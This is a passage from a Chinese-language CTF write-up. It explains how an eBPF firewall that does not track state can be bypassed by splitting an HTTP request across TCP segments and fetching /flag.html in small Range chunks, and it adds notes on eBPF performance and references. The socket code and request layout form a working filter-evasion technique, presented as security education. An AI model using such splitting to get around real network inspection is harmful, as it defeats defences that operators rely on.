s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)AF_INET:IPv4 地址族
SOCK_STREAM:TCP 套接字(提供面向连接的、可靠的字节流)
setsockopt 的语法
s.setsockopt(level, optname, value)相关选项:
# 禁用 Nagle
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
# 启用 Keep-Alive
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
# 设置发送缓冲区大小
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8192)HTTP 请求的格式
GET /flag.html HTTP/1.1\r\n
Host: 35.227.38.232\r\n
Range: bytes=0-9\r\n
Connection: close\r\n
\r\n每个部分的含义:
错误处理的设计
except Exception as e:
print(f"[-] Error at {i}: {e}")
# 继续下一次循环,不中断整个程序即使某个 Range 请求失败,继续尝试其他部分
最终可能得到部分 flag(比没有好)
适用于不稳定的网络环境
errors='ignore' 的作用
part_text = body.decode(errors='ignore')可能遇到的错误:
- UTF-8 序列:
范围 20-29: " flag: TEST"
范围 30-39: "{FLAG}</h1>" 如果某个范围恰好切断了一个多字节 UTF-8 字符,decode() 会报错。
- HTML 实体编码:
< → <
> → >
& → &但本题 flag.html 应该是纯文本,不需要处理。
errors='ignore' 的行为:
遇到无法解码的字节时,直接丢弃
不会抛出异常
可能丢失部分信息(但对 flag 影响不大)
替代方案:
# 替代为替换字符
part_text = body.decode(errors='replace')
# 使用 Latin-1(永远不会出错)
part_text = body.decode('latin-1')时序图
客户端和服务端建立 TCP 连接后,分段发送请求("GET /f" + "lag.html"),绕过 Ingress 检查。Nginx 返回对应 Range 的数据,因为 "flag" 被拆散了,Egress 也放行。重复多次 Range 请求直到获取完整内容。
eBPF 程序的性能分析
eBPF 程序运行在内核路径上,性能要求极高。每次执行都会增加数据包处理的延迟,所以需要仔细优化。从内核角度看,eBPF 程序的执行开销主要包括:Verifier 验证时间(一次性)、JIT 编译时间(一次性)、程序执行时间(每次)、Map 访问时间(如果用到)。
程序执行时间取决于几个因素:指令数量、循环次数、内存访问次数、辅助函数调用开销。本题的防火墙使用了 bpf_loop,最坏情况下会执行接近数据包长度次的循环。对于 1KB 的数据包,可能循环 1000 次,每次调用 kw_scan_cb,这会消耗一定的 CPU 周期。但总体上 eBPF 程序的开销远小于用户态-内核态切换的开销,所以仍然比传统的 netfilter 防火墙快。
内核提供了 bpf_prog_test_run 辅助函数用于测试 eBPF 程序的性能。可以在加载程序前用 bpftool prog run 命令测试,查看执行时间、指令计数等信息。这对于优化 eBPF 程序很有帮助。常见的优化技术包括:减少循环次数、使用 bpf_probe_read_kernel 而不是多次 bpf_skb_load_bytes、避免不必要的分支等。
参考资料
eBPF Documentation: https://ebpf.io/
Linux TC 文档: https://www.kernel.org/doc/Documentation/networking/tc.txt
bpf_loop() 提交: https://github.com/torvalds/linux/commit/3a00b9d56043
HTTP Range RFC 7233
Nagle 算法 RFC 896
eBPF Verifier 文档: https://www.kernel.org/doc/html/latest/bpf/verifier.html
BCC: https://github.com/iovisor/bcc
Learning eBPF: https://learningebpf.com/
Synacktiv 的 eBPF rootkit 分析: https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis
内核源码参考:
kernel/bpf/verifier.c - eBPF Verifier 实现
arch/x86/net/bpf_jit_comp.c - x86-64 JIT 编译器
net/core/dev.c - TC 钩子实现(sch_handle_ingress/egress)
net/sched/cls_bpf.c - TC BPF 分类器
net/ipv4/tcp_input.c - TCP 输入处理和重组逻辑
include/linux/skbuff.h - sk_buff 结构定义
include/uapi/linux/bpf.h - eBPF 辅助函数定义
内核文档:
Documentation/bpf/design_qa.rst - eBPF 设计问答
Documentation/bpf/bpf_devel_QA.rst - eBPF 开发问答
Documentation/networking/filter.txt - BPF 过滤器文档
本文分析了eBPF防火墙因无状态检测导致的TCP分段与HTTP Range绕过漏洞,提出双向流量绕过方案。
由 AI 根据全文自动生成,仅供参考,以原文为准
